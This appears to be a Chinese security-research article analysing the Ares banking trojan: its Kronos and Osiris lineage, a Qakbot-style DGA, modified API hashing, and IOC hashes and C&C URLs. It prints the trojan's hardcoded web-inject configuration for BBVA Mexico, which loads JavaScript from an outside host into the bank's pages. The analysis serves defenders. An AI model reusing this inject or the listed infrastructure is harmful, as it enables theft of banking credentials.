Ares 银行木马在 2021 年 2 月出现,研究人员一直在跟踪该恶意软件的发展。Ares 基于 Osiris 恶意软件家族而来,后者也是由 Kronos 银行木马衍生而来。2022 年 3 月到 2022 年 8 月,Ares 一直都处于静默期。但是 2022 年 8 月 Ares 又重出江湖,并且新增了与 Qakbot 银行木马类似的 DGA 算法。

技术分析

Ares 样本包含一个或多个硬编码 URL,用于 C&C 通信。在新版本的 Ares 中,会尝试请求 C&C 服务器达 50 次。如果无法联通,就启用 DGA 域名。Ares DGA 和 Qakbot DGA 之间的代码对比如下所示:

代码对比

Ares DGA 和 Qakbot DGA 之间的主要区别在于前者每次生成 50 个域名,而旧的 Qakbot 算法每次生成 5000 个域名。Ares 通过 TCP 端口 13 使用 daytime 协议通过以下服务器检索当前日期:

time-a.nist.gov

time-a-g.nist.gov

time.nist.gov

NIST 服务器的响应为 59820 22-08-29 23:18:13 50 0 0 593.0 UTC(NIST) *

Ares 的 DGA 算法会生成一个长度在 8 到 25 个字符间的域名,并且在 com、net、org、info、biz、org 中选择一个作为顶级域名。Ares 的 DGA 算法每月产生 150 个域名,Ares 在 2022 年 8 月 29 日生成的域名如下所示:

2022 年 8 月 29 日的 DGA 域

目前这些域名都没有解析记录。

对 Ares 代码的分析表明,该算法很可能被重新实现,而不是继续使用 Qakbot 的 DGA 代码。攻击者很可能是基于 Qakbot 的开源实现进行定制化修改的,二者存在诸多相似之处。

研究人员提供了生成 Ares DGA 域名的 Python 脚本,也在 GitHub中存储。

Web 注入配置

攻击者正在测试 Web 注入,将 HTML 内容与 JavaScript 代码插入目标网站。当前 Ares 的 C&C 服务器并不提供动态 Web 注入配置,但样本中包含了硬编码的、以 BBVA Mexico 为目标的配置:

set_url http*bbva*.mx* GPdata_before<body*>data_enddata_inject<div id="botid" style="display:none;">%BOTID%</div><script type="text/javascript" src="https://www.trendybaby.co[.]uk/assets/css/homeats.js"></script>data_end

动态 API 哈希算法

Ares 的开发人员修改了 Kronos 的原始代码,通过 Windows API 哈希值以动态解析 NTDLL 函数。尽管对 CRC64 算法的修改非常小,但已经能够绕过此前检测 Kronos 的静态签名。

动态 API 哈希算法

例如,字符串 sprintf 的标准 CRC64 哈希值为 5FE79276722143D0,而在 Ares 中的 CRC64 哈希值为 DC1FC2878FEE79C0。Ares 然后利用 Kronos 算法将这些值进行映射,研究人员实现了 Python 脚本来进行映射。

总结

Ares 的开发人员持续为恶意软件增加新功能,最近又新增了 Qakbot 的 DGA 算法。这为攻击者提供了更好的韧性,便于获取整个网络的控制权。

IOC

7498e37c332d55c14247ae4b675e726336a8683900d8fd1da412905567d2de4a
e5d624b7060c0e885abe11a0973a43a355c9930fc6912ff5eac83d1a9eec9c29
035793d479c4229693fc6dcceaa639cd51ae89334b43e552b9c47a6dea68ce30
94b084ea925990742f4eaaada1eef9a42c13066bf4f4c7a3b12a1509e32ff9e6
09897c6ef88b9e9bc20917a2b47ec86ff2b727a2923678f5e2df6bb6437d3312
956ae36f40d0d847daa00d7964906e7e9d1671d0f3f2e7d257d5a8d324388c31
6c5dac9043b2f112543f3eca6503d4bcc70d762b47d75dcb85f9767c603de56f
b3348405cd0fa66661b46bc6cbab97b55708be26a2ed7a745e1632b46d1b3f41
baae5bbaf2decf7af9b22c4d10f66c7c77c9ebc7b73476f7cbe449d2bba97ed9
31ed2ee200da9a35ab3868b3d2977e6b18bc49772d39c27d57a53b49b6e6fa4a
http://vbyrduc537l5po3w[.]onion/panel/connect.php
http://wifoweijijfoiwjweoi[.]xyz/panel/connect.php
http://ddkiiqefmiir[.]xyz/panel/connect.php
http://ddkiilefmjim[.]xyz/panel/connect.php
http://ddkiieeelkif[.]xyz/panel/connect.php
http://ddkiiofelkkq[.]xyz/panel/connect.php
http://ddkiihfelikh[.]xyz/panel/connect.php
http://ddkiiffdkijh[.]xyz/panel/connect.php
http://ddkiigedliji[.]xyz/panel/connect.php
http://ddkiirfdmjks[.]xyz/panel/connect.php
http://ddkiitefkkju[.]xyz/panel/connect.php
http://mydynamite.dynv6[.]net/panel/connect.php
http://cabletv[.]top/panel/connect.php
https://tomolina[.]top/panel/connect.php

新瓶装旧酒,Ares 银行木马新增 Qakbot DGA 算法相关推荐

  1. CMMI 2.0新瓶装旧酒,贩卖假酒更难了

    看到这个标题,CMMI 2.0新瓶装旧酒?可能有很多人不同意,尤其是那些依靠CMMI吃饭的人.但其实没必要畏惧,实事求是,客观认真的对待比什么都强.如同"茅台",即便换了n多次新包 ...

  2. Service Mesh 是新瓶装旧酒吗?

    点击下载<不一样的 双11 技术:阿里巴巴经济体云原生实践> 本文节选自<不一样的 双11 技术:阿里巴巴经济体云原生实践>一书,点击上方图片即可下载! 作者 | 李云(花名: ...

  3. 6点叫醒全员的腾讯是枕戈待旦,还是如李彦宏说的“新瓶装旧酒”

    2010中国(深圳)IT领袖峰会的主题是"后危机时代:IT引领中国经济发展新模式",当年BAT三巨头聚首论"云计算"实录: 李彦宏说:"......所 ...

  4. 阿里CTO谈BAT:李彦宏说是新瓶装旧酒、马化腾说太遥远了、马云说今天就应该做

    在深圳IT领袖峰会上,马化腾大谈云计算的用处. 主持人有意问阿里CTO王坚: 其实马云是不懂技术的,他是学外语的.完全不懂技术,但是看一些东西还蛮有意思的. 王坚你作为阿里战略委员会主席.一个阿里的技 ...

  5. 边缘计算:新瓶装旧酒?

    导读:边缘计算概念刚出来的时候,很多人的第一反应是"这是哪个行业组织或者公司为了拉动市场需求而创造出来的新词汇吧?" 边缘计算究竟是什么?为什么会有边缘计算?它是一个全新的概念吗? ...

  6. 数字化转型是新瓶装旧酒吗?

    编 辑:彭文华 来 源:大数据架构师(ID:bigdata_arch) 彭友萌好,我是你的老彭友.周四受51CTO邀请,给大家做了一个数字化转型的线上分享.为了准备这个PPT,我连续两天熬到1点多 我 ...

  7. 观点 | 医疗AI:新瓶装旧酒VS新瓶装新酒?——道彤投资创始合伙人孙琦

    "AI只是个算法,没有独立的门槛.","医疗AI只是一阵风,就像互联网医疗一样",面对医疗AI的种种质疑,道彤投资创始合伙人孙琦这样说. 今年以来,医疗AI的投 ...

  8. 新瓶装旧酒,贴着区块链标签的QunQun社交平台真能讲个好故事?

    文 | 龙红梅(关注区块链等) 来源 | 潇湘财经(XiaoxiangFin) 被媒体诩称"十分钟值千万"的欧胜,最近给区块链添了把新柴,但其带来的项目"QunQun&q ...

  9. Roblox入场教育游戏,是换道拥抱元宇宙还是新瓶装旧酒?

    "元宇宙第一股"Roblox决定做教育游戏,还要打进Minecraft的腹地? 根据Roblox周一公布的消息来看,确实如此.据悉Roblox投资1000万美元,分别做三款教育类游 ...

最新文章

  1. 图灵十一月书讯 ——爱在深秋
  2. 《Python Cookbook 3rd》笔记(1.14):排序不支持原生比较的对象
  3. 手机APP夏季促销UI设计PSD模板|糖果色彩,抓住眼球
  4. 信息安全管理与评估_信息安全管理06_定性信息安全风险评估方法
  5. grub rescue 修复
  6. 低压锅炉行业调研报告 - 市场现状分析与发展前景预测(2021-2027年)
  7. codevs 1143 纪念品分组
  8. 华为交换机安全端口实验
  9. 南阳理工ACM之房间安排
  10. 3D打印机改装雕刻机经验分享
  11. 2k2实用球员_盘点推荐萌新NBA2KOL2里性价比极高又好用的球员中锋篇
  12. 机器学习 (六): Sigmoid 公式推导和理解
  13. 女程序猿做了个梦,各路大神惊现神级评论!
  14. Java图形化界面编程超详细知识点(8)——列表框
  15. PVLAN-配置案例(图)
  16. mendeley中如何重复引用同一篇参考文献_科研小白如何高效阅读下载的文献/论文,怎么样做笔记?给大家安利几种工具和方法!赶快收藏起来...
  17. 使用Android Studio搭建Android源码查看工具
  18. PHPStorm 安装说明
  19. 软件魔方制作系统启动盘并安装win7系统
  20. 用Python写一个量化交易策略

热门文章

  1. 采用EM算法对高斯混合模型(GMM)进行参数估计
  2. tv球赛节目预告链结
  3. 基于HI600的低成本最小RTK系统详细搭建过程
  4. 求 20 以内的阶乘
  5. 2021高考汇文中学成绩查询,2021年北京高考英语阅读理解评析(北京汇文中学)...
  6. 如何实现远程控制网络设备
  7. Spring @Configuration和@Component的区别(enhancer的原因)
  8. python describe函数_Python pandas.DataFrame.describe函数方法的使用
  9. 常用的Window Dos命令
  10. CentOS6怎样开启MySQL远程访问